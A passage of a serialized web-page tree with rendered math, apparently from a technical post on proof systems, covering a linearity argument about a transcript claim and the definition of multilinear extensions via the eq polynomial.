111913},{"className":111912},[4803],[111914,111948],{"type":21,"tag":85,"props":111915,"children":111917},{"className":111916,"style":94038},[4808],[111918],{"type":21,"tag":85,"props":111919,"children":111920},{"style":110938},[111921,111925],{"type":21,"tag":85,"props":111922,"children":111924},{"className":111923,"style":4818},[4817],[],{"type":21,"tag":85,"props":111926,"children":111928},{"className":111927},[4823,4824,4825,4826],[111929],{"type":21,"tag":85,"props":111930,"children":111932},{"className":111931},[4776,4826],[111933,111938,111943],{"type":21,"tag":85,"props":111934,"children":111936},{"className":111935},[4776,22016,4826],[111937],{"type":26,"value":3003},{"type":21,"tag":85,"props":111939,"children":111941},{"className":111940},[4863,4826],[111942],{"type":26,"value":4837},{"type":21,"tag":85,"props":111944,"children":111946},{"className":111945},[4776,4826],[111947],{"type":26,"value":4779},{"type":21,"tag":85,"props":111949,"children":111951},{"className":111950},[22173],[111952],{"type":26,"value":22176},{"type":21,"tag":85,"props":111954,"children":111956},{"className":111955},[4803],[111957],{"type":21,"tag":85,"props":111958,"children":111960},{"className":111959,"style":110979},[4808],[111961],{"type":21,"tag":85,"props":111962,"children":111963},{},[],{"type":21,"tag":85,"props":111965,"children":111967},{"className":111966,"style":4858},[4857],[],{"type":21,"tag":85,"props":111969,"children":111971},{"className":111970},[4863],[111972],{"type":26,"value":4837},{"type":21,"tag":85,"props":111974,"children":111976},{"className":111975,"style":4858},[4857],[],{"type":21,"tag":85,"props":111978,"children":111980},{"className":111979},[4765],[111981,111985,111990,111995,112000,112004,112009],{"type":21,"tag":85,"props":111982,"children":111984},{"className":111983,"style":4878},[4770],[],{"type":21,"tag":85,"props":111986,"children":111988},{"className":111987},[4776],[111989],{"type":26,"value":3895},{"type":21,"tag":85,"props":111991,"children":111993},{"className":111992},[4776,22016],[111994],{"type":26,"value":335},{"type":21,"tag":85,"props":111996,"children":111998},{"className":111997},[22167],[111999],{"type":26,"value":1900},{"type":21,"tag":85,"props":112001,"children":112003},{"className":112002,"style":4858},[4857],[],{"type":21,"tag":85,"props":112005,"children":112007},{"className":112006},[4863],[112008],{"type":26,"value":111771},{"type":21,"tag":85,"props":112010,"children":112012},{"className":112011,"style":4858},[4857],[],{"type":21,"tag":85,"props":112014,"children":112016},{"className":112015},[4765],[112017,112021,112078,112082,112087],{"type":21,"tag":85,"props":112018,"children":112020},{"className":112019,"style":110479},[4770],[],{"type":21,"tag":85,"props":112022,"children":112024},{"className":112023},[4776],[112025,112030],{"type":21,"tag":85,"props":112026,"children":112028},{"className":112027,"style":93509},[4776,22016],[112029],{"type":26,"value":94328},{"type":21,"tag":85,"props":112031,"children":112033},{"className":112032},[4793],[112034],{"type":21,"tag":85,"props":112035,"children":112037},{"className":112036},[4798,22070],[112038,112067],{"type":21,"tag":85,"props":112039,"children":112041},{"className":112040},[4803],[112042,112062],{"type":21,"tag":85,"props":112043,"children":112045},{"className":112044,"style":94038},[4808],[112046],{"type":21,"tag":85,"props":112047,"children":112048},{"style":110508},[112049,112053],{"type":21,"tag":85,"props":112050,"children":112052},{"className":112051,"style":4818},[4817],[],{"type":21,"tag":85,"props":112054,"children":112056},{"className":112055},[4823,4824,4825,4826],[112057],{"type":21,"tag":85,"props":112058,"children":112060},{"className":112059},[4776,22016,4826],[112061],{"type":26,"value":3003},{"type":21,"tag":85,"props":112063,"children":112065},{"className":112064},[22173],[112066],{"type":26,"value":22176},{"type":21,"tag":85,"props":112068,"children":112070},{"className":112069},[4803],[112071],{"type":21,"tag":85,"props":112072,"children":112074},{"className":112073,"style":93592},[4808],[112075],{"type":21,"tag":85,"props":112076,"children":112077},{},[],{"type":21,"tag":85,"props":112079,"children":112081},{"className":112080,"style":4955},[4857],[],{"type":21,"tag":85,"props":112083,"children":112085},{"className":112084},[4960],[112086],{"type":26,"value":741},{"type":21,"tag":85,"props":112088,"children":112090},{"className":112089,"style":4955},[4857],[],{"type":21,"tag":85,"props":112092,"children":112094},{"className":112093},[4765],[112095,112099,112104,112109,112114,112118,112123],{"type":21,"tag":85,"props":112096,"children":112098},{"className":112097,"style":4878},[4770],[],{"type":21,"tag":85,"props":112100,"children":112102},{"className":112101},[4776,22016],[112103],{"type":26,"value":335},{"type":21,"tag":85,"props":112105,"children":112107},{"className":112106},[22145],[112108],{"type":26,"value":1439},{"type":21,"tag":85,"props":112110,"children":112112},{"className":112111},[4776],[112113],{"type":26,"value":4779},{"type":21,"tag":85,"props":112115,"children":112117},{"className":112116,"style":4858},[4857],[],{"type":21,"tag":85,"props":112119,"children":112121},{"className":112120},[4863],[112122],{"type":26,"value":4837},{"type":21,"tag":85,"props":112124,"children":112126},{"className":112125,"style":4858},[4857],[],{"type":21,"tag":85,"props":112128,"children":112130},{"className":112129},[4765],[112131,112135,112140,112197,112202,112206,112211],{"type":21,"tag":85,"props":112132,"children":112134},{"className":112133,"style":4878},[4770],[],{"type":21,"tag":85,"props":112136,"children":112138},{"className":112137},[4776],[112139],{"type":26,"value":3895},{"type":21,"tag":85,"props":112141,"children":112143},{"className":112142},[4776],[112144,112149],{"type":21,"tag":85,"props":112145,"children":112147},{"className":112146,"style":93509},[4776,22016],[112148],{"type":26,"value":94328},{"type":21,"tag":85,"props":112150,"children":112152},{"className":112151},[4793],[112153],{"type":21,"tag":85,"props":112154,"children":112156},{"className":112155},[4798,22070],[112157,112186],{"type":21,"tag":85,"props":112158,"children":112160},{"className":112159},[4803],[112161,112181],{"type":21,"tag":85,"props":112162,"children":112164},{"className":112163,"style":94038},[4808],[112165],{"type":21,"tag":85,"props":112166,"children":112167},{"style":110508},[112168,112172],{"type":21,"tag":85,"props":112169,"children":112171},{"className":112170,"style":4818},[4817],[],{"type":21,"tag":85,"props":112173,"children":112175},{"className":112174},[4823,4824,4825,4826],[112176],{"type":21,"tag":85,"props":112177,"children":112179},{"className":112178},[4776,22016,4826],[112180],{"type":26,"value":3003},{"type":21,"tag":85,"props":112182,"children":112184},{"className":112183},[22173],[112185],{"type":26,"value":22176},{"type":21,"tag":85,"props":112187,"children":112189},{"className":112188},[4803],[112190],{"type":21,"tag":85,"props":112191,"children":112193},{"className":112192,"style":93592},[4808],[112194],{"type":21,"tag":85,"props":112195,"children":112196},{},[],{"type":21,"tag":85,"props":112198,"children":112200},{"className":112199},[22167],[112201],{"type":26,"value":1900},{"type":21,"tag":85,"props":112203,"children":112205},{"className":112204,"style":4858},[4857],[],{"type":21,"tag":85,"props":112207,"children":112209},{"className":112208},[4863],[112210],{"type":26,"value":5151},{"type":21,"tag":85,"props":112212,"children":112214},{"className":112213,"style":4858},[4857],[],{"type":21,"tag":85,"props":112216,"children":112218},{"className":112217},[4765],[112219,112223,112294,112298,112303],{"type":21,"tag":85,"props":112220,"children":112222},{"className":112221,"style":110909},[4770],[],{"type":21,"tag":85,"props":112224,"children":112226},{"className":112225},[4776],[112227,112232],{"type":21,"tag":85,"props":112228,"children":112230},{"className":112229,"style":93743},[4776,22016],[112231],{"type":26,"value":93746},{"type":21,"tag":85,"props":112233,"children":112235},{"className":112234},[4793],[112236],{"type":21,"tag":85,"props":112237,"children":112239},{"className":112238},[4798,22070],[112240,112283],{"type":21,"tag":85,"props":112241,"children":112243},{"className":112242},[4803],[112244,112278],{"type":21,"tag":85,"props":112245,"children":112247},{"className":112246,"style":94038},[4808],[112248],{"type":21,"tag":85,"props":112249,"children":112250},{"style":110938},[112251,112255],{"type":21,"tag":85,"props":112252,"children":112254},{"className":112253,"style":4818},[4817],[],{"type":21,"tag":85,"props":112256,"children":112258},{"className":112257},[4823,4824,4825,4826],[112259],{"type":21,"tag":85,"props":112260,"children":112262},{"className":112261},[4776,4826],[112263,112268,112273],{"type":21,"tag":85,"props":112264,"children":112266},{"className":112265},[4776,22016,4826],[112267],{"type":26,"value":3003},{"type":21,"tag":85,"props":112269,"children":112271},{"className":112270},[4863,4826],[112272],{"type":26,"value":4837},{"type":21,"tag":85,"props":112274,"children":112276},{"className":112275},[4776,4826],[112277],{"type":26,"value":4779},{"type":21,"tag":85,"props":112279,"children":112281},{"className":112280},[22173],[112282],{"type":26,"value":22176},{"type":21,"tag":85,"props":112284,"children":112286},{"className":112285},[4803],[112287],{"type":21,"tag":85,"props":112288,"children":112290},{"className":112289,"style":110979},[4808],[112291],{"type":21,"tag":85,"props":112292,"children":112293},{},[],{"type":21,"tag":85,"props":112295,"children":112297},{"className":112296,"style":4858},[4857],[],{"type":21,"tag":85,"props":112299,"children":112301},{"className":112300},[4863],[112302],{"type":26,"value":111771},{"type":21,"tag":85,"props":112304,"children":112306},{"className":112305,"style":4858},[4857],[],{"type":21,"tag":85,"props":112308,"children":112310},{"className":112309},[4765],[112311,112315],{"type":21,"tag":85,"props":112312,"children":112314},{"className":112313,"style":110479},[4770],[],{"type":21,"tag":85,"props":112316,"children":112318},{"className":112317},[4776],[112319,112324],{"type":21,"tag":85,"props":112320,"children":112322},{"className":112321,"style":93509},[4776,22016],[112323],{"type":26,"value":94328},{"type":21,"tag":85,"props":112325,"children":112327},{"className":112326},[4793],[112328],{"type":21,"tag":85,"props":112329,"children":112331},{"className":112330},[4798,22070],[112332,112361],{"type":21,"tag":85,"props":112333,"children":112335},{"className":112334},[4803],[112336,112356],{"type":21,"tag":85,"props":112337,"children":112339},{"className":112338,"style":94038},[4808],[112340],{"type":21,"tag":85,"props":112341,"children":112342},{"style":110508},[112343,112347],{"type":21,"tag":85,"props":112344,"children":112346},{"className":112345,"style":4818},[4817],[],{"type":21,"tag":85,"props":112348,"children":112350},{"className":112349},[4823,4824,4825,4826],[112351],{"type":21,"tag":85,"props":112352,"children":112354},{"className":112353},[4776,22016,4826],[112355],{"type":26,"value":3003},{"type":21,"tag":85,"props":112357,"children":112359},{"className":112358},[22173],[112360],{"type":26,"value":22176},{"type":21,"tag":85,"props":112362,"children":112364},{"className":112363},[4803],[112365],{"type":21,"tag":85,"props":112366,"children":112368},{"className":112367,"style":93592},[4808],[112369],{"type":21,"tag":85,"props":112370,"children":112371},{},[],{"type":21,"tag":22,"props":112373,"children":112374},{},[112375,112376,112472,112474,112499,112501,112526],{"type":26,"value":46590},{"type":21,"tag":873,"props":112377,"children":112378},{},[112379,112381],{"type":26,"value":112380},"linear in ",{"type":21,"tag":66,"props":112382,"children":112384},{"className":112383},[4748,4749],[112385],{"type":21,"tag":85,"props":112386,"children":112388},{"className":112387},[4754],[112389],{"type":21,"tag":85,"props":112390,"children":112392},{"className":112391,"ariaHidden":4760},[4759],[112393],{"type":21,"tag":85,"props":112394,"children":112396},{"className":112395},[4765],[112397,112401],{"type":21,"tag":85,"props":112398,"children":112400},{"className":112399,"style":110909},[4770],[],{"type":21,"tag":85,"props":112402,"children":112404},{"className":112403},[4776],[112405,112410],{"type":21,"tag":85,"props":112406,"children":112408},{"className":112407,"style":93743},[4776,22016],[112409],{"type":26,"value":93746},{"type":21,"tag":85,"props":112411,"children":112413},{"className":112412},[4793],[112414],{"type":21,"tag":85,"props":112415,"children":112417},{"className":112416},[4798,22070],[112418,112461],{"type":21,"tag":85,"props":112419,"children":112421},{"className":112420},[4803],[112422,112456],{"type":21,"tag":85,"props":112423,"children":112425},{"className":112424,"style":94038},[4808],[112426],{"type":21,"tag":85,"props":112427,"children":112428},{"style":110938},[112429,112433],{"type":21,"tag":85,"props":112430,"children":112432},{"className":112431,"style":4818},[4817],[],{"type":21,"tag":85,"props":112434,"children":112436},{"className":112435},[4823,4824,4825,4826],[112437],{"type":21,"tag":85,"props":112438,"children":112440},{"className":112439},[4776,4826],[112441,112446,112451],{"type":21,"tag":85,"props":112442,"children":112444},{"className":112443},[4776,22016,4826],[112445],{"type":26,"value":3003},{"type":21,"tag":85,"props":112447,"children":112449},{"className":112448},[4863,4826],[112450],{"type":26,"value":4837},{"type":21,"tag":85,"props":112452,"children":112454},{"className":112453},[4776,4826],[112455],{"type":26,"value":4779},{"type":21,"tag":85,"props":112457,"children":112459},{"className":112458},[22173],[112460],{"type":26,"value":22176},{"type":21,"tag":85,"props":112462,"children":112464},{"className":112463},[4803],[112465],{"type":21,"tag":85,"props":112466,"children":112468},{"className":112467,"style":110979},[4808],[112469],{"type":21,"tag":85,"props":112470,"children":112471},{},[],{"type":26,"value":112473},"! By induction, the final claim is linear in the original ",{"type":21,"tag":66,"props":112475,"children":112477},{"className":112476},[4748,4749],[112478],{"type":21,"tag":85,"props":112479,"children":112481},{"className":112480},[4754],[112482],{"type":21,"tag":85,"props":112483,"children":112485},{"className":112484,"ariaHidden":4760},[4759],[112486],{"type":21,"tag":85,"props":112487,"children":112489},{"className":112488},[4765],[112490,112494],{"type":21,"tag":85,"props":112491,"children":112493},{"className":112492,"style":22011},[4770],[],{"type":21,"tag":85,"props":112495,"children":112497},{"className":112496,"style":93743},[4776,22016],[112498],{"type":26,"value":93746},{"type":26,"value":112500},". If ",{"type":21,"tag":66,"props":112502,"children":112504},{"className":112503},[4748,4749],[112505],{"type":21,"tag":85,"props":112506,"children":112508},{"className":112507},[4754],[112509],{"type":21,"tag":85,"props":112510,"children":112512},{"className":112511,"ariaHidden":4760},[4759],[112513],{"type":21,"tag":85,"props":112514,"children":112516},{"className":112515},[4765],[112517,112521],{"type":21,"tag":85,"props":112518,"children":112520},{"className":112519,"style":22011},[4770],[],{"type":21,"tag":85,"props":112522,"children":112524},{"className":112523,"style":93743},[4776,22016],[112525],{"type":26,"value":93746},{"type":26,"value":112527}," isn't in the transcript, we can solve for it.",{"type":21,"tag":10022,"props":112529,"children":112531},{"id":112530},"multilinear-extensions-mles",[112532],{"type":26,"value":112533},"Multilinear Extensions (MLEs)",{"type":21,"tag":22,"props":112535,"children":112536},{},[112537,112539,112624],{"type":26,"value":112538},"An MLE is just the polynomial view of a table over ",{"type":21,"tag":66,"props":112540,"children":112542},{"className":112541},[4748,4749],[112543],{"type":21,"tag":85,"props":112544,"children":112546},{"className":112545},[4754],[112547],{"type":21,"tag":85,"props":112548,"children":112550},{"className":112549,"ariaHidden":4760},[4759],[112551],{"type":21,"tag":85,"props":112552,"children":112554},{"className":112553},[4765],[112555,112559,112564,112569,112574,112578,112583],{"type":21,"tag":85,"props":112556,"children":112558},{"className":112557,"style":4878},[4770],[],{"type":21,"tag":85,"props":112560,"children":112562},{"className":112561},[22145],[112563],{"type":26,"value":77080},{"type":21,"tag":85,"props":112565,"children":112567},{"className":112566},[4776],[112568],{"type":26,"value":4789},{"type":21,"tag":85,"props":112570,"children":112572},{"className":112571},[4889],[112573],{"type":26,"value":4892},{"type":21,"tag":85,"props":112575,"children":112577},{"className":112576,"style":4896},[4857],[],{"type":21,"tag":85,"props":112579,"children":112581},{"className":112580},[4776],[112582],{"type":26,"value":4779},{"type":21,"tag":85,"props":112584,"children":112586},{"className":112585},[22167],[112587,112592],{"type":21,"tag":85,"props":112588,"children":112590},{"className":112589},[22167],[112591],{"type":26,"value":34587},{"type":21,"tag":85,"props":112593,"children":112595},{"className":112594},[4793],[112596],{"type":21,"tag":85,"props":112597,"children":112599},{"className":112598},[4798],[112600],{"type":21,"tag":85,"props":112601,"children":112603},{"className":112602},[4803],[112604],{"type":21,"tag":85,"props":112605,"children":112607},{"className":112606,"style":109226},[4808],[112608],{"type":21,"tag":85,"props":112609,"children":112610},{"style":4812},[112611,112615],{"type":21,"tag":85,"props":112612,"children":112614},{"className":112613,"style":4818},[4817],[],{"type":21,"tag":85,"props":112616,"children":112618},{"className":112617},[4823,4824,4825,4826],[112619],{"type":21,"tag":85,"props":112620,"children":112622},{"className":112621},[4776,22016,4826],[112623],{"type":26,"value":56860},{"type":26,"value":112625},": it matches the table on Boolean points and extends it to field points.",{"type":21,"tag":22,"props":112627,"children":112628},{},[112629],{"type":26,"value":112630},"For this post, the only property you need is:",{"type":21,"tag":22,"props":112632,"children":112633},{},[112634],{"type":21,"tag":66,"props":112635,"children":112637},{"className":112636},[4748,4749],[112638],{"type":21,"tag":85,"props":112639,"children":112641},{"className":112640},[4754],[112642],{"type":21,"tag":85,"props":112643,"children":112645},{"className":112644,"ariaHidden":4760},[4759],[112646,112808,113080],{"type":21,"tag":85,"props":112647,"children":112649},{"className":112648},[4765],[112650,112655,112724,112729,112790,112795,112799,112804],{"type":21,"tag":85,"props":112651,"children":112654},{"className":112652,"style":112653},[4770],"height:1.1813em;vertical-align:-0.25em;",[],{"type":21,"tag":85,"props":112656,"children":112659},{"className":112657},[4776,112658],"accent",[112660],{"type":21,"tag":85,"props":112661,"children":112663},{"className":112662},[4798,22070],[112664,112712],{"type":21,"tag":85,"props":112665,"children":112667},{"className":112666},[4803],[112668,112707],{"type":21,"tag":85,"props":112669,"children":112672},{"className":112670,"style":112671},[4808],"height:0.9313em;",[112673,112687],{"type":21,"tag":85,"props":112674,"children":112676},{"style":112675},"top:-3em;",[112677,112682],{"type":21,"tag":85,"props":112678,"children":112681},{"className":112679,"style":112680},[4817],"height:3em;",[],{"type":21,"tag":85,"props":112683,"children":112685},{"className":112684,"style":95863},[4776,22016],[112686],{"type":26,"value":33531},{"type":21,"tag":85,"props":112688,"children":112690},{"style":112689},"top:-3.6134em;",[112691,112695],{"type":21,"tag":85,"props":112692,"children":112694},{"className":112693,"style":112680},[4817],[],{"type":21,"tag":85,"props":112696,"children":112700},{"className":112697,"style":112699},[112698],"accent-body","left:-0.0833em;",[112701],{"type":21,"tag":85,"props":112702,"children":112704},{"className":112703},[4776],[112705],{"type":26,"value":112706},"~",{"type":21,"tag":85,"props":112708,"children":112710},{"className":112709},[22173],[112711],{"type":26,"value":22176},{"type":21,"tag":85,"props":112713,"children":112715},{"className":112714},[4803],[112716],{"type":21,"tag":85,"props":112717,"children":112720},{"className":112718,"style":112719},[4808],"height:0.1944em;",[112721],{"type":21,"tag":85,"props":112722,"children":112723},{},[],{"type":21,"tag":85,"props":112725,"children":112727},{"className":112726},[22145],[112728],{"type":26,"value":1439},{"type":21,"tag":85,"props":112730,"children":112732},{"className":112731},[4776,112658],[112733],{"type":21,"tag":85,"props":112734,"children":112736},{"className":112735},[4798],[112737],{"type":21,"tag":85,"props":112738,"children":112740},{"className":112739},[4803],[112741],{"type":21,"tag":85,"props":112742,"children":112745},{"className":112743,"style":112744},[4808],"height:0.714em;",[112746,112758],{"type":21,"tag":85,"props":112747,"children":112748},{"style":112675},[112749,112753],{"type":21,"tag":85,"props":112750,"children":112752},{"className":112751,"style":112680},[4817],[],{"type":21,"tag":85,"props":112754,"children":112756},{"className":112755,"style":93509},[4776,22016],[112757],{"type":26,"value":94328},{"type":21,"tag":85,"props":112759,"children":112760},{"style":112675},[112761,112765],{"type":21,"tag":85,"props":112762,"children":112764},{"className":112763,"style":112680},[4817],[],{"type":21,"tag":85,"props":112766,"children":112769},{"className":112767,"style":112768},[112698],"left:-0.1799em;",[112770],{"type":21,"tag":85,"props":112771,"children":112775},{"className":112772,"style":112774},[112773],"overlay","height:0.714em;width:0.471em;",[112776],{"type":21,"tag":34720,"props":112777,"children":112784},{"xmlns":112778,"width":112779,"height":112780,"style":112781,"viewBox":112782,"preserveAspectRatio":112783},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[112785],{"type":21,"tag":112786,"props":112787,"children":112789},"path",{"d":112788},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":21,"tag":85,"props":112791,"children":112793},{"className":112792},[22167],[112794],{"type":26,"value":1900},{"type":21,"tag":85,"props":112796,"children":112798},{"className":112797,"style":4955},[4857],[],{"type":21,"tag":85,"props":112800,"children":112802},{"className":112801},[4960],[112803],{"type":26,"value":741},{"type":21,"tag":85,"props":112805,"children":112807},{"className":112806,"style":4955},[4857],[],{"type":21,"tag":85,"props":112809,"children":112811},{"className":112810},[4765],[112812,112817,112998,113002,113007,113012,113062,113067,113071,113076],{"type":21,"tag":85,"props":112813,"children":112816},{"className":112814,"style":112815},[4770],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":21,"tag":85,"props":112818,"children":112820},{"className":112819},[22052],[112821,112826],{"type":21,"tag":85,"props":112822,"children":112824},{"className":112823,"style":22059},[22052,22057,22058],[112825],{"type":26,"value":109304},{"type":21,"tag":85,"props":112827,"children":112829},{"className":112828},[4793],[112830],{"type":21,"tag":85,"props":112831,"children":112833},{"className":112832},[4798,22070],[112834,112986],{"type":21,"tag":85,"props":112835,"children":112837},{"className":112836},[4803],[112838,112981],{"type":21,"tag":85,"props":112839,"children":112842},{"className":112840,"style":112841},[4808],"height:0.3448em;",[112843],{"type":21,"tag":85,"props":112844,"children":112846},{"style":112845},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[112847,112851],{"type":21,"tag":85,"props":112848,"children":112850},{"className":112849,"style":4818},[4817],[],{"type":21,"tag":85,"props":112852,"children":112854},{"className":112853},[4823,4824,4825,4826],[112855],{"type":21,"tag":85,"props":112856,"children":112858},{"className":112857},[4776,4826],[112859,112913,112918,112923,112928,112933,112938],{"type":21,"tag":85,"props":112860,"children":112862},{"className":112861},[4776,112658,4826],[112863],{"type":21,"tag":85,"props":112864,"children":112866},{"className":112865},[4798],[112867],{"type":21,"tag":85,"props":112868,"children":112870},{"className":112869},[4803],[112871],{"type":21,"tag":85,"props":112872,"children":112875},{"className":112873,"style":112874},[4808],"height:0.9774em;",[112876,112890],{"type":21,"tag":85,"props":112877,"children":112879},{"style":112878},"top:-2.714em;",[112880,112885],{"type":21,"tag":85,"props":112881,"children":112884},{"className":112882,"style":112883},[4817],"height:2.714em;",[],{"type":21,"tag":85,"props":112886,"children":112888},{"className":112887},[4776,22016,4826],[112889],{"type":26,"value":3994},{"type":21,"tag":85,"props":112891,"children":112893},{"style":112892},"top:-2.9774em;",[112894,112898],{"type":21,"tag":85,"props":112895,"children":112897},{"className":112896,"style":112883},[4817],[],{"type":21,"tag":85,"props":112899,"children":112902},{"className":112900,"style":112901},[112698],"left:-0.2355em;",[112903],{"type":21,"tag":85,"props":112904,"children":112906},{"className":112905,"style":112774},[112773,4826],[112907],{"type":21,"tag":34720,"props":112908,"children":112909},{"xmlns":112778,"width":112779,"height":112780,"style":112781,"viewBox":112782,"preserveAspectRatio":112783},[112910],{"type":21,"tag":112786,"props":112911,"children":112912},{"d":112788},[],{"type":21,"tag":85,"props":112914,"children":112916},{"className":112915},[4960,4826],[112917],{"type":26,"value":22123},{"type":21,"tag":85,"props":112919,"children":112921},{"className":112920},[22145,4826],[112922],{"type":26,"value":77080},{"type":21,"tag":85,"props":112924,"children":112926},{"className":112925},[4776,4826],[112927],{"type":26,"value":4789},{"type":21,"tag":85,"props":112929,"children":112931},{"className":112930},[4889,4826],[112932],{"type":26,"value":4892},{"type":21,"tag":85,"props":112934,"children":112936},{"className":112935},[4776,4826],[112937],{"type":26,"value":4779},{"type":21,"tag":85,"props":112939,"children":112941},{"className":112940},[22167,4826],[112942,112947],{"type":21,"tag":85,"props":112943,"children":112945},{"className":112944},[22167,4826],[112946],{"type":26,"value":34587},{"type":21,"tag":85,"props":112948,"children":112950},{"className":112949},[4793],[112951],{"type":21,"tag":85,"props":112952,"children":112954},{"className":112953},[4798],[112955],{"type":21,"tag":85,"props":112956,"children":112958},{"className":112957},[4803],[112959],{"type":21,"tag":85,"props":112960,"children":112963},{"className":112961,"style":112962},[4808],"height:0.5935em;",[112964],{"type":21,"tag":85,"props":112965,"children":112967},{"style":112966},"top:-2.786em;margin-right:0.0714em;",[112968,112972],{"type":21,"tag":85,"props":112969,"children":112971},{"className":112970,"style":109369},[4817],[],{"type":21,"tag":85,"props":112973,"children":112975},{"className":112974},[4823,109374,109375,4826],[112976],{"type":21,"tag":85,"props":112977,"children":112979},{"className":112978},[4776,22016,4826],[112980],{"type":26,"value":56860},{"type":21,"tag":85,"props":112982,"children":112984},{"className":112983},[22173],[112985],{"type":26,"value":22176},{"type":21,"tag":85,"props":112987,"children":112989},{"className":112988},[4803],[112990],{"type":21,"tag":85,"props":112991,"children":112994},{"className":112992,"style":112993},[4808],"height:0.5144em;",[112995],{"type":21,"tag":85,"props":112996,"children":112997},{},[],{"type":21,"tag":85,"props":112999,"children":113001},{"className":113000,"style":4896},[4857],[],{"type":21,"tag":85,"props":113003,"children":113005},{"className":113004,"style":95863},[4776,22016],[113006],{"type":26,"value":33531},{"type":21,"tag":85,"props":113008,"children":113010},{"className":113009},[22145],[113011],{"type":26,"value":1439},{"type":21,"tag":85,"props":113013,"children":113015},{"className":113014},[4776,112658],[113016],{"type":21,"tag":85,"props":113017,"children":113019},{"className":113018},[4798],[113020],{"type":21,"tag":85,"props":113021,"children":113023},{"className":113022},[4803],[113024],{"type":21,"tag":85,"props":113025,"children":113027},{"className":113026,"style":112874},[4808],[113028,113040],{"type":21,"tag":85,"props":113029,"children":113030},{"style":112675},[113031,113035],{"type":21,"tag":85,"props":113032,"children":113034},{"className":113033,"style":112680},[4817],[],{"type":21,"tag":85,"props":113036,"children":113038},{"className":113037},[4776,22016],[113039],{"type":26,"value":3994},{"type":21,"tag":85,"props":113041,"children":113043},{"style":113042},"top:-3.2634em;",[113044,113048],{"type":21,"tag":85,"props":113045,"children":113047},{"className":113046,"style":112680},[4817],[],{"type":21,"tag":85,"props":113049,"children":113051},{"className":113050,"style":112901},[112698],[113052],{"type":21,"tag":85,"props":113053,"children":113055},{"className":113054,"style":112774},[112773],[113056],{"type":21,"tag":34720,"props":113057,"children":113058},{"xmlns":112778,"width":112779,"height":112780,"style":112781,"viewBox":112782,"preserveAspectRatio":112783},[113059],{"type":21,"tag":112786,"props":113060,"children":113061},{"d":112788},[],{"type":21,"tag":85,"props":113063,"children":113065},{"className":113064},[22167],[113066],{"type":26,"value":1900},{"type":21,"tag":85,"props":113068,"children":113070},{"className":113069,"style":4858},[4857],[],{"type":21,"tag":85,"props":113072,"children":113074},{"className":113073},[4863],[113075],{"type":26,"value":111771},{"type":21,"tag":85,"props":113077,"children":113079},{"className":113078,"style":4858},[4857],[],{"type":21,"tag":85,"props":113081,"children":113083},{"className":113082},[4765],[113084,113089,113099,113104,113153,113158,113162,113211],{"type":21,"tag":85,"props":113085,"children":113088},{"className":113086,"style":113087},[4770],"height:1.2274em;vertical-align:-0.25em;",[],{"type":21,"tag":85,"props":113090,"children":113092},{"className":113091},[4776,26],[113093],{"type":21,"tag":85,"props":113094,"children":113096},{"className":113095},[4776],[113097],{"type":26,"value":113098},"eq",{"type":21,"tag":85,"props":113100,"children":113102},{"className":113101},[22145],[113103],{"type":26,"value":1439},{"type":21,"tag":85,"props":113105,"children":113107},{"className":113106},[4776,112658],[113108],{"type":21,"tag":85,"props":113109,"children":113111},{"className":113110},[4798],[113112],{"type":21,"tag":85,"props":113113,"children":113115},{"className":113114},[4803],[113116],{"type":21,"tag":85,"props":113117,"children":113119},{"className":113118,"style":112874},[4808],[113120,113132],{"type":21,"tag":85,"props":113121,"children":113122},{"style":112675},[113123,113127],{"type":21,"tag":85,"props":113124,"children":113126},{"className":113125,"style":112680},[4817],[],{"type":21,"tag":85,"props":113128,"children":113130},{"className":113129},[4776,22016],[113131],{"type":26,"value":3994},{"type":21,"tag":85,"props":113133,"children":113134},{"style":113042},[113135,113139],{"type":21,"tag":85,"props":113136,"children":113138},{"className":113137,"style":112680},[4817],[],{"type":21,"tag":85,"props":113140,"children":113142},{"className":113141,"style":112901},[112698],[113143],{"type":21,"tag":85,"props":113144,"children":113146},{"className":113145,"style":112774},[112773],[113147],{"type":21,"tag":34720,"props":113148,"children":113149},{"xmlns":112778,"width":112779,"height":112780,"style":112781,"viewBox":112782,"preserveAspectRatio":112783},[113150],{"type":21,"tag":112786,"props":113151,"children":113152},{"d":112788},[],{"type":21,"tag":85,"props":113154,"children":113156},{"className":113155},[4889],[113157],{"type":26,"value":4892},{"type":21,"tag":85,"props":113159,"children":113161},{"className":113160,"style":4896},[4857],[],{"type":21,"tag":85,"props":113163,"children":113165},{"className":113164},[4776,112658],[113166],{"type":21,"tag":85,"props":113167,"children":113169},{"className":113168},[4798],[113170],{"type":21,"tag":85,"props":113171,"children":113173},{"className":113172},[4803],[113174],{"type":21,"tag":85,"props":113175,"children":113177},{"className":113176,"style":112744},[4808],[113178,113190],{"type":21,"tag":85,"props":113179,"children":113180},{"style":112675},[113181,113185],{"type":21,"tag":85,"props":113182,"children":113184},{"className":113183,"style":112680},[4817],[],{"type":21,"tag":85,"props":113186,"children":113188},{"className":113187,"style":93509},[4776,22016],[113189],{"type":26,"value":94328},{"type":21,"tag":85,"props":113191,"children":113192},{"style":112675},[113193,113197],{"type":21,"tag":85,"props":113194,"children":113196},{"className":113195,"style":112680},[4817],[],{"type":21,"tag":85,"props":113198,"children":113200},{"className":113199,"style":112768},[112698],[113201],{"type":21,"tag":85,"props":113202,"children":113204},{"className":113203,"style":112774},[112773],[113205],{"type":21,"tag":34720,"props":113206,"children":113207},{"xmlns":112778,"width":112779,"height":112780,"style":112781,"viewBox":112782,"preserveAspectRatio":112783},[113208],{"type":21,"tag":112786,"props":113209,"children":113210},{"d":112788},[],{"type":21,"tag":85,"props":113212,"children":113214},{"className":113213},[22167],[113215],{"type":26,"value":1900},{"type":21,"tag":22,"props":113217,"children":113218},{},[113219,113221,113290,113292,113438,113440,113579,113581,113665],{"type":26,"value":113220},"At a 